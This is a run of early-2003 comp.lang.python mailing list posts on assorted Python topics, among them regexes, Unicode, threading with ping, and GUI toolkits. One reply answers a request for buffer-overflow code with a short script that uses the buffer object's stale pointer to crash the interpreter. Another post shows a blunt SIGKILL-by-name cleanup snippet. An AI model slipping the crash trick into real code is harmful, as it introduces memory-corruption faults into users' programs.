> - Additional modules
> - ...
>
> I really would like to read this group more actively - but it contains
> simply too much mails and too much things I'm not interested in...
> </OT>
>
> TIA!
>
> --
> Ciao,
>
> Gernot





From adalke at mindspring.com  Sat Jan 11 12:52:07 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Sat, 11 Jan 2003 10:52:07 -0700
Subject: How do I get to *all* of the groups of an re search?
In-Reply-To: <7xbs2n7i10.fsf@ruckus.brouhaha.com>
References: <sl51f-6dj.ln1@news.lairds.org> <v1titmb0454v58@corp.supernews.com> <oe23f-ta3.ln1@news.lairds.org> <v1tq06bo2mjg14@corp.supernews.com> <qol3f-p27.ln1@news.lairds.org> <avni6r$im1$1@slb2.atl.mindspring.net> <dpe4f-52b.ln1@news.lairds.org> <avoa2h$jt1$1@slb9.atl.mindspring.net> <16r5f-8k3.ln1@news.lairds.org> <7xbs2n7i10.fsf@ruckus.brouhaha.com>
Message-ID: <avpm2f$8hq$2@slb9.atl.mindspring.net>

Paul Rubin wrote:
> Something wrong with
> 
>   m.string[m.start(g):m.end(g)]
> 
> as described in the docs?

You missed the context of this thread.  He wants all text matched
by a group and not just the most recent.

Something like

   matched_text = m.allmatches(1)

This is a feature most regexp libraries don't support.

					Andrew
					dalke at dalkescientific.com




From dagurp at heimsnet.is  Tue Jan 14 18:15:58 2003
From: dagurp at heimsnet.is (=?ISO-8859-1?Q?Dagur_P=E1ll_Ammendrup?=)
Date: Tue, 14 Jan 2003 23:15:58 +0000
Subject: Learning Python - The Book
In-Reply-To: <3cf72d52.0301141439.53f1f521@posting.google.com>
References: <3cf72d52.0301141439.53f1f521@posting.google.com>
Message-ID: <b025ne$22g8$1@mikill.isnet.is>

An update is needed ASAP but I still recommend it. Most of what worked 
then works now.







scn wrote:
> Hello.  I am new to programming and Python in particular.  My interest
> is to learn how to program to begin automating tasks at work that are
> still done using pencil and paper.  I understand that Python offers
> many advantages over other languages for many various reasons.
> 
> I have taken a look at the book Learning Python and noticed that it
> was written in 1999.  Python is currently up to version 2.3  Is this
> book still applicable in most aspects of the language, or would it be
> wiser for me to save my money and wait for a 2nd edition to come out
> with more up-to-date information? Thank you.




From tim.one at comcast.net  Mon Jan 13 14:58:13 2003
From: tim.one at comcast.net (Tim Peters)
Date: Mon, 13 Jan 2003 14:58:13 -0500
Subject: Copyright on the Python and Python-console icons?
In-Reply-To: <3E2284D5.2040106@rogers.com>
Message-ID: <BIEJKCLHCIOIHAGOKOLHKELPEHAA.tim.one@comcast.net>

[Mike C. Fletcher]
> Anyone know who owns copyright on the two icons distributed with
> PythonLabs Python?  (That is, python.ico and pycon.ico).

The Python Software Foundation holds copyright.

> I'd like to include them in an icon collection I'm building for use by
> Python IDEs, but want to be sure that's okay with the author.

Speaking as a director of the PSF, IMO that use is fine.  I'm not sure that
means more than that I'd feel bad if I voted to sue you anyway, but that's
better than nothing <wink>.  If that's not good enough, I believe the .ico
files orginally came from Mark Hammond.





From lalo at ciceana.org.mx  Wed Jan 15 10:11:10 2003
From: lalo at ciceana.org.mx (Eduardo Cancino)
Date: Wed, 15 Jan 2003 09:11:10 -0600
Subject: Newbie: How to connect to MySQL?
Message-ID: <94A8EDDA-289B-11D7-8A7C-000393944F2A@ciceana.org.mx>

Hi everybody!

I downloaded the mysql-python from sourceforge, and I tried to install 
it on my Mac0S 10.2.1
but even i have the Developer tools the:

python setup.py build
python setup.py install

commands doesn't find my compiler.

I looked in www.python.org, some of this but didn't find it.

Where I cand find a installing tutorial or something i can get to start 
programming python with databases?

Is there a db module like dbi in perl?
And the cgi module works as the perl one?


Thanks. 





From sholden at holdenweb.com  Fri Jan 10 11:44:40 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Fri, 10 Jan 2003 11:44:40 -0500
Subject: Mail<->News gateway [was Re: Do pythons like sugar?]
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>	 <6h8r1vkl2qfe8e99dvn5n3lmphngrar2h2@4ax.com> <mailman.1042150247.26901.python-list@python.org> <MBzT9.8750$%n.1439@sccrnsc02> <QKzT9.632582$WL3.196381@rwcrnsc54>
Message-ID: <yHCT9.28144$Yh.13836@FE10>

"Travis Beaty" <t_beaty at mchsi.com> wrote in message
news:QKzT9.632582$WL3.196381 at rwcrnsc54...
> Travis Beaty wrote:
> > I'd have to agree where these recent posts are concerned.  During the
> > previous 12 hours I've gotten a half done ...
>
> That should have read half dozen.  I'm just half awake.
>

A pity you didn't post that before your original - it would have made your
point nicely :-)

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/







From F.L.Burton at bio.gla.ac.uk  Mon Jan 13 10:55:03 2003
From: F.L.Burton at bio.gla.ac.uk (Francis Burton)
Date: Mon, 13 Jan 2003 15:55:03 +0000
Subject: [OT] Seeking Minimal Python Project Name
References: <3e22b7f7@news.swissonline.ch>
Message-ID: <3E22E157.85F9C828@bio.gla.ac.uk>

"F. GEIGER" wrote:
> What about an other kind of snake, preferably a small one: Mamba.
> 
> Any snake adicts hanging around here?

Leptotyphlops, Typhlops and Carphophis are all pretty small as
adults, and even smaller as Baby Snakes (Zappa).

Francis



From dfan at dfan.org  Mon Jan 13 10:54:03 2003
From: dfan at dfan.org (Dan Schmidt)
Date: 13 Jan 2003 10:54:03 -0500
Subject: Is it advisable to replace 'self' with '_' or 'I' or something  shorter?
References: <f57664b9.0301110959.5b1439da@posting.google.com> <uhecdj36t.fsf@dfan.org> <3E221453.AB1B98DD@alcyone.com>
Message-ID: <uadi5xcys.fsf@dfan.org>

Erik Max Francis <max at alcyone.com> writes:

| Dan Schmidt wrote:
| 
| > I used to use _, but I decided to be a good citizen and use self
| > these days.  My main problem with self is not that it takes more
| > time to type but that it looks like just another word when I'm
| > scanning code, which distracts me from the 'real' variables.  So I
| > modifed my emacs python-mode so that self is displayed in a
| > different color, and I can deal with it a lot better now.
| 
| Try getting the latest version of python-mode.el.  It already
| highlights `self' in this way.

I'm using python-mode 4.6 from <http://www.python.org/emacs/python-mode/>
and it does not appear to highlight 'self'.  Is there a newer version
available, or am I missing something?

Dan

-- 
http://www.dfan.org



From zopestoller at thomas-guettler.de  Thu Jan  9 06:32:46 2003
From: zopestoller at thomas-guettler.de (Thomas Guettler)
Date: Thu, 09 Jan 2003 12:32:46 +0100
Subject: GUI toolkits
References: <avfsc2$8ar$1@bob.news.rcn.net>
Message-ID: <avjmg0$s03$03$1@news.t-online.com>

morden schrieb:
> Is there info availbale somewhere on the relative merits of tkinter vs. 
> pyGnome?

I think comparing these makes no sense. Tkinter is for developing GUIs
while Gnome is a desktop environment.

You could compare tkinter, pyGtk and wxPython with each other.

There are comparisons available, but I have no ULR right now.

May favorit, if you want to develop for win32 and unix is wxPython.

  thomas




From phr-n2003b at NOSPAMnightsong.com  Tue Jan 28 09:34:42 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 28 Jan 2003 06:34:42 -0800
Subject: Can you do it faster? (parsing text file)
References: <3e3650fc.2103718@news.easynews.net>
Message-ID: <7xznpls5q5.fsf@ruckus.brouhaha.com>

> The replace operations are done with the whole file instead of 
> for li in fa.readlines():
> because I think it's faster.

I have some doubts about this because of all the characters that
have to bemoved around, but it's possible.

> Is there a differnt approach for parsing such a file?

It seems to me you have to time the different phases and see what
needs tuning.  Here's a small class I like to use for that kind of thing:

    from time import time

    class timer:
        def __init__(self):
            self.t0 = time()
            self.t1 = self.t0
        def __call__(self,msg=''):
            t=time()
            print "%s: delta=%.5f sec total=%.5f sec"%  \
                  (msg, t-self.t1, t-self.t0)
            self.t1 = t

Then at the start I say
   t = timer()

and then sprinkle calls like

   t("finished deleting spaces")

through the program to get messages it executes.  Each time you
call t, it prints the number of seconds since the last call, and
the number of seconds since t was first initialized.



From tundra at tundraware.com  Mon Jan 20 17:30:06 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 20 Jan 2003 22:30:06 GMT
Subject: Unicode error in exefied Python script
In-Reply-To: <m3smvn2293.fsf@mira.informatik.hu-berlin.de>
References: <b0ft3r$omcf2$1@ID-75629.news.dfncis.de> <08cg0b.brr.ln@boundary.tundraware.com> <m3lm1g42s6.fsf@mira.informatik.hu-berlin.de> <678h0b.4601.ln@boundary.tundraware.com> <m3smvn2293.fsf@mira.informatik.hu-berlin.de>
Message-ID: <h1th0b.1f31.ln@boundary.tundraware.com>

Martin v. L?wis wrote:
> Tim Daneliuk <tundra at tundraware.com> writes:
> 
> 
>>Exactly right - So when concatenating strings like I did above,
>>Python always promotes the result to the 'higher' type?
> 
> 
> Where 'higher' type means the two of the types which is the superset
> of the other, in some sense - yes. It is, however, questionable which
> of the types is supertype, here, since there are byte strings which
> cannot be converted to Unicode, and Unicode strings which cannot be
> converted to byte strings.
> 
> So for this situation, a special exception from this "always" rule is
> made: byte strings are promoted to Unicode strings when the two are
> combined.

Hmmm, I don't understand this last bit at all.  If this is how it works,
then why did my original example fail?  Win32 returned a Unicode string
which I concatenated w/ an ASCII string to produce a .. Unicode string.
Later, when I tried to concatenate a byte string to that new Unicode string,
the program failed - i.e., the byte string does not appear to get promoted...

-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From max at alcyone.com  Thu Jan 23 19:54:26 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 23 Jan 2003 16:54:26 -0800
Subject: max() of a list of tuples
References: <3e2d27c6$1_1@news.uni-bielefeld.de> <ygaX9.4400$bL4.431294@newsread2.prod.itd.earthlink.net> <13a533e8.0301211252.187ffeb9@posting.google.com> <b0l57d$12j$1@wheel2.two14.net> <13a533e8.0301220447.802ca54@posting.google.com> <3E2F37B4.C8CB8F1A@alcyone.com> <13a533e8.0301231503.680fe0eb@posting.google.com>
Message-ID: <3E308EC2.F6FC9FE5@alcyone.com>

Peter Abel wrote:

> And if there's no initial value, it seems the
> reduce-function starts with the first element of l.
> (As I said l[0] <wink>)

Well, of course.  That's what reduce _does_.  It repeatedly applies a
binary function to the elements of the sequence, accumulating the
result.  Specifying the third argument -- the initial value -- is only
necessary if 1. the sequence is empty or 2. you want the initial value
to be something other than what it would normally be.

The vagueness here is, of course, because reduce works on _any_ function
that accumulates values over any types of elements, not just numeric
ones.

Specifying 

	reduce(f, S, i)

is really precisely equivalent to

	reduce(f, [i] + S),

provided of course that the sequence is compatible with being added to a
list, etc.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ An undevout astronomer is mad.
\__/ Edward Young
    Bosskey.net: Quake III Arena / http://www.bosskey.net/q3a/
 A personal guide to Quake III Arena.



From gerhard.haering at gmx.de  Fri Jan  3 22:22:38 2003
From: gerhard.haering at gmx.de (Gerhard Haering)
Date: Sat, 4 Jan 2003 04:22:38 +0100
Subject: ping multiple Ips with python
In-Reply-To: <_dsR9.67891$eq2.17373053@twister.nyroc.rr.com>
References: <8db020b9.0301031420.25e56f3b@posting.google.com> <_dsR9.67891$eq2.17373053@twister.nyroc.rr.com>
Message-ID: <20030104032237.GA77985@gargamel.ghaering.test>

* darrell <dgallion1 at yahoo.com> [2003-01-04 03:07 +0000]:
> Multiple ping sounded like fun.

Indeed :)

> So here's a quick mod to some ping code I found.

I'll try to look at it. I've meanwhile come up with this piece of code
(unfortunately I can't sucessfully kill the pings, the os.kill only kills the
'sh' processes from popen2.Popen3:

If nothing else, the original poster might benefit from the example of using
Queue.Queue with *one* database logger thread.

#v+
import threading
import os, popen2, select, signal
import Queue
import time

from pyPgSQL import PgSQL

# (PostgreSQL) database schema:
# CREATE TABLE LOG(ADDRESS INET, UP BOOL);

HOST_UP = 1
HOST_DOWN = 0

PING_INTERVAL = 5

def log(s):
    print s

class Pinger(threading.Thread):
    def __init__(self, queue, address, *args, **kwargs):
        self.address = address
        self.queue = queue
        threading.Thread.__init__(self, *args, **kwargs)
        self.stop = 0

    def run(self):
        child = popen2.Popen3("ping -i %i %s 2>&1" % (PING_INTERVAL, self.address))
        log("started child %i" % child.pid)
        while 1:
            ready_fds = select.select([child.fromchild], [], [])

            line = child.fromchild.readline()
            if line.find("Host is down") >= 0:
                log("host %s is down" % self.address)
                self.queue.put((self.address, HOST_DOWN))
            else:
                log("host %s is up" % self.address)
                self.queue.put((self.address, HOST_UP))
            
            if self.stop:
                os.kill(child.pid, signal.SIGTERM)
                log("killed child %i." % child.pid)
                break

class DbLogger(threading.Thread):
    def __init__(self, queue, *args, **kwargs):
        self.stop = 0
        self.queue = queue
        threading.Thread.__init__(self, *args, **kwargs)

    def run(self):
        con = PgSQL.connect()
        cursor = con.cursor()
        while 1:
            if self.stop:
                con.close()
                break

            item = self.queue.get()
            cursor.execute("INSERT INTO LOG(ADDRESS, UP) VALUES (%s, %s)",
                (item[0], PgSQL.PgBoolean(item[1])))
            con.commit()
            log("committed.")

def main():
    pinglist = ["127.0.0.1", "192.168.0.1", "192.168.2.1", "192.168.2.10", "192.168.2.11"]
    threads = []
    queue = Queue.Queue()
    for adr in pinglist:
        threads.append(Pinger(queue, adr))

    threads.append(DbLogger(queue)) 

    for thread in threads:
        thread.start()

    try:
        while 1:
            time.sleep(1)
            log("in main loop.")
    except KeyboardInterrupt:
        pass

    for thread in threads:
        thread.stop = 1

    for thread in threads:
        thread.join(2.0)

    # Ok, I've had enough of you stupid threads.
    os._exit(0)

if __name__ == "__main__":
    main()
#v-

If you try this out and are annoyed by the remaining 'ping' processes, here's a
quick *cough* solution ;-)

#v+
import os, signal, commands

s = commands.getoutput("ps aux|grep ping|grep -v grep")
for line in s.split("\n"):
    pid = int(line.split()[1])
    os.kill(pid, signal.SIGKILL)
#v-

Gerhard
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/




From mwh at python.net  Wed Jan 29 07:18:58 2003
From: mwh at python.net (Michael Hudson)
Date: Wed, 29 Jan 2003 12:18:58 GMT
Subject: python weblog apps?
References: <mailman.1043716191.28394.python-list@python.org> <16639e88-1256-4856-b604-95bd59d2d770@news.szn.dk>
Message-ID: <7h38yx4175f.fsf@pc150.maths.bris.ac.uk>

Klaus Alexander Seistrup <spam at magnetic-ink.dk> writes:

> David LeBlanc wrote:
> 
> > Bzero
> > http://www.myelin.co.nz/bzero/
> 
> The darned thing about Bzero is that it is distributed as a bunch
> of compiled python script (.pyc) -- no source is available. :(

This is a solvable problem :) google("decompyle").

Cheers,
M.

-- 
  how am I expected to quit smoking if I have to deal with NT
  every day                                                -- Ben Raia



From tdelaney at avaya.com  Thu Jan 30 19:15:44 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Fri, 31 Jan 2003 11:15:44 +1100
Subject: Tab characters considered harmful (Was: Emacs has eaten my py
	thon tabs!!!) 
Message-ID: <B43D149A9AB2D411971300B0D03D7E8B02ADC3FD@natasha.auslabs.avaya.com>

> From: Laura Creighton [mailto:lac at strakt.com]
> 
> treacle: Molasses in Syrup.  I think it is called 'Golden 
> Syrup' in parts of the USA.  Attracts flies.

I'm pretty sure "Golden Syrup" is somewhat different to treacle, at least
here in Australia. It's one of the more important products from sugar cane.
Tastes wonderful ... but *very* sweet and rich.

OTOH, golden syrup is pervasive here (for a start, it's an essential
ingredient in Anzac biscuits - the ultimate tea-dunking biscuit), whilst I
don't think I've ever seen actual "treacle", so I'm no authority on the
mtter ;)

Tim Delaney




From sasDOTepsylon at wanadoo.fr  Mon Jan 13 07:53:07 2003
From: sasDOTepsylon at wanadoo.fr (EpSyLOn)
Date: Mon, 13 Jan 2003 13:53:07 +0100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] Minimal Python project)
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org> <mrb52vk55cq5p2b349h8qdr17go527djk5@4ax.com>
Message-ID: <7cd52vc622nabfj9n0j055k30968ce70lc@4ax.com>

On Mon, 13 Jan 2003 13:31:46 +0100, EpSyLOn <sasDOTepsylon at wanadoo.fr>
wrote:

>On Mon, 13 Jan 2003 04:17:21 +0100, Christian Tismer
><tismer at tismer.com> wrote:
>
>>Bengt Richter wrote:
>>> At 03:39 2003-01-13 +0100, Christian Tismer wrote:
>>> [...]
>>> 
>>>>At the same time, as much as possible should become
>>>>pluggable. It will be possible to have MiniPy
>>> 
>>> [...]
>>> 
>>> Is "MiniPy" the official name ?
>>
>>No.
>>There is no official name, yet.
>[...]
>>Anyone having some good suggestions?
>
>I suggest TiPy/TiPython, just like "Tiny Python". And it sounds good :
>Mon TiPython ;-).

Furthermore if you'd like to symbolize the fact it's written in
Python, TiPy become a recursive acronym : TiPy is (*real*) Python.
-- 
  .-.  EpSyLOn      sas<dot>epsylon<at>wanadoo<dot>fr
  oo|  faq fclc:    http://www.isty-info.uvsq.fr/~rumeau/fclc
 /`'\  Usenet  :    http://www.usenet-fr.net
(\_;/) "Quand le sage montre la lune, l'imb?cile regarde le doigt"



From martin at v.loewis.de  Fri Jan 24 21:22:54 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 25 Jan 2003 03:22:54 +0100
Subject: Something like asynchronous XML-RPC possible?
In-Reply-To: <mailman.1043437664.28309.python-list@python.org>
References: <mailman.1043437664.28309.python-list@python.org>
Message-ID: <b0ssds$20c$05$3@news.t-online.com>

Raaijmakers, Vincent (IndSys, GE Interlogix) wrote:
> Take a look at:
> http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52226

So where does that use UDP?

Regards,
Martin




From bokr at oz.net  Wed Jan  8 12:49:43 2003
From: bokr at oz.net (Bengt Richter)
Date: 8 Jan 2003 17:49:43 GMT
Subject: How to change colors of console window?
References: <3e1ab443_1@corp.newsgroups.com> <avepvu$o6k$0@216.39.172.122> <avhh4d$ffmlh$1@ID-130333.news.dfncis.de>
Message-ID: <avhobn$d5g$0@216.39.172.122>

On Wed, 8 Jan 2003 08:47:05 -0700, "Cousin Stanley" <CousinStanley at HotMail.com> wrote:

>> Is there a way to change the drab white on black of the dos console window
>> to some other color scheme, say yellow on blue ?
>
>|| system menu > properties > colors
>
>|| To get the system menu, Alt-Spacebar should drop it down,
>|| or click the icon at the leftmost in the title bar.
>
>Bengt ...
>
>On the Win98 system that I use
>there seems to be NO Color Options available
>on any of the  DOS > Properties  dialogs ...
>
Sorry, I've got NT4, and I wasn't thinking much beyond
my nose, I'm afraid ;-/

>There is a  Background  button on the DOS menu bar,
>but it seems non-functional ...
>
>Are there other  Win/DOS  config settings that affect
>the availability of the color options ???
>
I'm not going to load up w98 to chase it, but I'm sure
someone will have the scoop ;-)

w98 console is annoying in other ways too, IIRC. I.e., you
have to load doskey to get line recall, and then that doesn't
get inherited when you run python in the console interactively?

Regards,
Bengt Richter



From al782278 at mail.mty.itesm.mx  Sat Jan 11 17:17:08 2003
From: al782278 at mail.mty.itesm.mx (=?ISO-8859-1?Q?Jes=FAs_Antonio_S=E1nchez_A=2E?=)
Date: Sat, 11 Jan 2003 16:17:08 -0600
Subject: libpython2.2.so
Message-ID: <avqcai$ii7jf$1@ID-175730.news.dfncis.de>

Hi, how I can get instead of a static library (libpython2.2.a) a shared
library (libpython2.2.so). This is because i'm having problems compiling
mod_python 3.0.1 for apache 2 (2.0.43). Thanks




From phil at river-bank.demon.co.uk  Sat Jan 11 06:55:25 2003
From: phil at river-bank.demon.co.uk (Phil Thompson)
Date: Sat, 11 Jan 2003 11:55:25 +0000
Subject: Using Py 1.5.2 libs/mods with Py 2.2 ? (for PyQt)
In-Reply-To: <5a969143.0301100318.1c0490e6@posting.google.com>
References: <5a969143.0301100318.1c0490e6@posting.google.com>
Message-ID: <200301111155.25352.phil@river-bank.demon.co.uk>

On Friday 10 January 2003 11:18 am, Az Tech wrote:
> Hello list,
>
> 1. I have Red Hat Linux 7.3.
>
> 2. Python 1.5.2 came preinstalled with it.
>
> 3. Then, either:
>     - I installed PyQt 3.1
>     OR
>     - it was already installed along with RHL 7.2
>     (I don't remember which of the above, now, as it
> was some time back).
>
> 4. Then some days later I installed Python 2.2 from
> the RH apps CD.
>
> When I tried to run one of the example PyQt apps
> (using Py 2.2), I got an error on the 'import qt'
> statement - to the effect that the qt module was not
> found.
>
> 5. Since I knew that PyQt was installed (by doing an
> "rpm -q PyQt" and "rpm -q PyQt-examples", both of
> which showed that the respective packages were
> installed), I was surprised at the above error.
> (I had not realized at this point, that I had
> installed Py 2.2 after installing PyQt 3.1)
>
> 6. Doing a 'find / -name "*[Pp][Yy][Qq][Tt]*' showed
> the location of the PyQt files - they were installed
> in the Python 1.5.2 site-packages directory, not in
> that of Py 2.2.
>
> 7. So I switched to Py 1.5.2 and tried running the
> examples. Some of them worked, some partly worked and
> partly gave some errors. I am not sure if this is due
> to a version clash between Py 1.5.2 and the PyQt
> version which is 3.1 (and my Qt version is 3.0.3).
>
> 8. I can of course uninstall PyQt, and then re-install
> it in the Py 2.2 tree; I haven't tried this yet but I
> think I should be able to manage it. And I know that
> this is probably the right way to do it.
>
> 9. However, I may not want to do that just now.
> Generalizing the situation, this led me to wonder
> whether is is possible and "officially" recommended to
> use one version of Python with the libraries / modules
> installed in the site-packages directory of another
> version, and if so, what is the way to do it ? Setting
> the PYTHONPATH to include that site-packages directory
> ? Or some other way ? And are there any issues that
> may arise as a result of this ? Such as conflicts
> between versions of different libraries and the
> language, etc. ?

Binary module compatibility between different Python versions is "unclear" to 
me, so I always say that you should only use PyQt with the particular version 
of Python is was built against.

Phil




From jimmie-dated-1043474834.7879b0 at illumid.com  Mon Jan 20 22:12:02 2003
From: jimmie-dated-1043474834.7879b0 at illumid.com (Jimmie Fulton)
Date: Mon, 20 Jan 2003 21:12:02 -0600
Subject: sys.stdin and re.search
References: <pan.2003.01.20.06.24.23.588538@illumid.com> <3E2BA4C3.923BE9D2@alcyone.com> <pan.2003.01.21.02.35.29.469239@illumid.com>
Message-ID: <pan.2003.01.21.03.11.59.501726@illumid.com>

On Mon, 20 Jan 2003 20:35:35 -0600, Jimmie Fulton wrote:

> On Sun, 19 Jan 2003 23:26:59 -0800, Erik Max Francis wrote:
> 
>> By the way, a more idiomatic way to iterate over every line in a file
>> is:
>> 
>> 	while 1:
>> 	    line = F.readline()
>> 	    if not line:
>> 	        break
>> 	    ...
>> 
>> In modern versions, you can just iterate over the file object itself:
>> 
>> 	for line in F:
>> 	    ...
> 
> Yep.  That's what I started with, but I tried different looping methods to
> see if that was part of the problem.
> 
> I guess I should provide more info, although I think I know the cause
> already...
> 
> Python: Python 2.2.1
> System is Gentoo Linux 1.2.
> 
> Here is my code... with a few changes from the suggestions I've received.
> :)
> 
> 
> <code>
> #!/usr/bin/env python
> # rblLogger.py
> 
> import re
> import sys
> import psycopg
> 
> pattern = re.compile(r"(^\S* \S*\b).*(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b).*(http://.*)")
> 
> dsn = "host=localhost user=jimmie"
> 
> con = psycopg.connect(dsn)
> cur = con.cursor()
> 
> def addEntry(datetime,ipaddress,reason):
>         cur.execute("INSERT INTO rblblocks (datetime,ipaddress,reason) VALUES ('%s','%s','%s')" % (datetime,ipaddress,reason))
>         con.commit()
> 
> # Does not work
> f = sys.stdin
> # OR
> # Does work
> # f = os.popen("tail -n+1 --follow=name | tai64nlocal | grep rblsmtpd","r")
> 
> for line in f:
>         print line     #Testing, delete later
>         match = pattern.search(line)
>         if match:
>                 datetime,ipaddress,reason = match.groups()
>                 #addEntry(datetime,ipaddress,reason)
>         	print match    #Testing, delete later
> 
> </code>
> 
> This is a snippet of the file I'm trying to process...
> 
> <file snippet>
> @400000003e2a4dd61e2e95dc rblsmtpd: 66.129.124.181 pid 1559: 451 Listed on SBL - see http://spamhaus.org/SBL/sbl.lasso?query=SBL5304
> @400000003e2a4dd6310dda8c tcpserver: end 1559 status 0
> @400000003e2a4dd6310e2c94 tcpserver: status: 0/40
> @400000003e2a4f60352143d4 tcpserver: status: 1/40
> @400000003e2a4f60352e9dcc tcpserver: pid 1563 from 204.126.2.42
> @400000003e2a4f60382aab74 tcpserver: ok 1563 dsl093-024-243.hou1.dsl.speakeasy.net:66.93.24.243:25 :204.126.2.42::60601
> @400000003e2a4f612932593c tcpserver: end 1563 status 0
> @400000003e2a4f612932af2c tcpserver: status: 0/40
> @400000003e2a502e3005348c tcpserver: status: 1/40
> @400000003e2a502e301253ec tcpserver: pid 1569 from 66.129.124.180
> @400000003e2a502e3301de74 tcpserver: ok 1569 dsl093-024-243.hou1.dsl.speakeasy.net:66.93.24.243:25 :66.129.124.180::21995
> @400000003e2a502f102f0b24 rblsmtpd: 66.129.124.180 pid 1569: 451 Listed on SBL - see http://spamhaus.org/SBL/sbl.lasso?query=SBL5304
> </file snippet>
> 
> The command I'm issuing on the command line:
> ./rblLogger.py < /var/log/qmail/qmail-smtpd/current | tai64nlocal | grep rblsmtpd
> 
> tai64nlocal turns @400000003e2a502f102f0b24 into an ISO timestamp format.
> 
> After running this, I see output due to the "print line" line.  The output
> matches exactly what would have been output if I used a popen with the
> same command line.
> 
> I've figured out that any time the file goes through grep AND sys.stdin, it doesn't
> work.  If I preprocess the file through grep to a new file, and still pass it through
> tai64nlocal, it works fine.  If I use popen to process the original file
> the same way, it works!
> 
> Now that I know greping is the problem, I'll just adjust my regex to make
> sure 'rblsmtpd' is part of the match and only process lines that contain
> this.
> 
> Any comments welcome, but I have my workaround, anyway.
> 
> Thanks,
> 
> Jimmie

Grrrr!

Just figured out that

tail -n+1 --follow=name | tai64nlocal | grep rblsmtpd | rblLogger.py

works fine.  Maybe I'm just having some shell funkiness...

Jimmie



From per at net-es.dk  Tue Jan  7 04:44:36 2003
From: per at net-es.dk (Per Jensen)
Date: Tue, 07 Jan 2003 10:44:36 +0100
Subject: string.replace() question
References: <pan.2003.01.07.08.58.58.277802.1286@net-es.dk>
Message-ID: <pan.2003.01.07.09.44.34.415274.1286@net-es.dk>

Many thanks to the both of you

/Per

On Tue, 07 Jan 2003 09:58:58 +0100, Per Jensen wrote:

> The Python doc on string.replace says this:
> 
> replace(str, old, new[, maxsplit])
> """Return a copy of string str with all occurrences of substring old
> replaced by new. If the optional argument maxsplit is given, the first
> maxsplit occurrences are replaced."""
> 
> 
> I must have a blind spot, but the method doesn't seem to work quite like
> that. Example:
> 
> bash-2.05$ python
> Python 2.2.1 (#1, Sep 24 2002, 21:50:51) [GCC 2.95.3 20010315 (SuSE)] on
> linux2 Type "help", "copyright", "credits" or "license" for more
> information.
>>>> import string
>>>> string.replace("C:\py21\gallery\resized", "\\", "/")
> 'C:/py21/gallery\resized'
>>>>
>>>>
> Notice that the last "\" is not replaced with a "/"
> 
> My question is why ?
> 
> /Per



From tim.one at comcast.net  Thu Jan 16 23:47:02 2003
From: tim.one at comcast.net (Tim Peters)
Date: Thu, 16 Jan 2003 23:47:02 -0500
Subject: buffer overflow
In-Reply-To: <b0808g$b4j$2@wheel2.two14.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEOFDIAB.tim.one@comcast.net>

[donoli]
> I have two machines, FreeBSD 4,2  and  W2K pro.  I'd like to test the
> security on both of them against a buffer overflow.  If someone has
> the code in python for a buffer overflow, please post it.
> donoli.

[Martin v. Loewis]
> Python does not support buffer overflows, sorry.

[pmaney at pobox.com]
> I'm sure they could be added by a C extension module.

They already were, and, curiously enough, by the builtin bufferobject.c.
That supplies the builtin, little understood, and easily abused buffer
object.  For fun, run this:

"""
from array import array
from random import randrange

i = 0
while 1:
    i += 1
    print i,
    a = array('c', 'x' * randrange(10000))
    b = buffer(a)
    a.extend(array('c', 'y' * randrange(10000)))
    c = list(b)
"""

Chances are high it will die with a segfault before going around the loop 20
times, because the buffer object created by buffer() can be left pointing at
freed memory by the array object guts getting reallocated, and then list(b)
ends up reading God-only-knows-what from the stale buffer object.  Some of
the smarest people I know have refused to fix this <wink>.





From Simon.Wittber at perth.maptek.com.au  Tue Jan 14 03:42:18 2003
From: Simon.Wittber at perth.maptek.com.au (Simon Wittber (Maptek))
Date: Tue, 14 Jan 2003 16:42:18 +0800
Subject: Truth in dating (was: HELP! Must choose language!)
Message-ID: <10F0E58C0018054484E329DC494C4D7F01BD1A@mexper1>

> > have punctuation and block delimiters :-). ... and OO will be done 
> > right this time! Yay!
> >
>         As long as "bless" doesn't turn into "dam*" <G>

>Kind of like my (remarkably good) boss in the late 1960s, who pretended

>to want to replace the
>   goto
>with the
>   comefrom

I believe this is a feature of INTERCAL.
<http://www.tuxedo.org/~esr/intercal/>

sw.




From clifford.wells at attbi.com  Wed Jan  1 21:30:08 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 01 Jan 2003 18:30:08 -0800
Subject: GUI-programming
In-Reply-To: <20030101230749.GA4773@r55.studdorf.wh.tu-darmstadt.de>
References: <20030101230749.GA4773@r55.studdorf.wh.tu-darmstadt.de>
Message-ID: <1041474608.21821.108.camel@x1-6-00-04-5a-64-c4-03>

On Wed, 2003-01-01 at 15:07, Frederik Fuest wrote:
> Hi,
> 
> I would like to programm my GUI, that you can start more than one

Which GUI?  Tkinter, wxPython, something else?

> process at the same time by e.g. clicking different buttons. 

You mean threads?  Or just call a method/function?

> Could anybody help me with this?

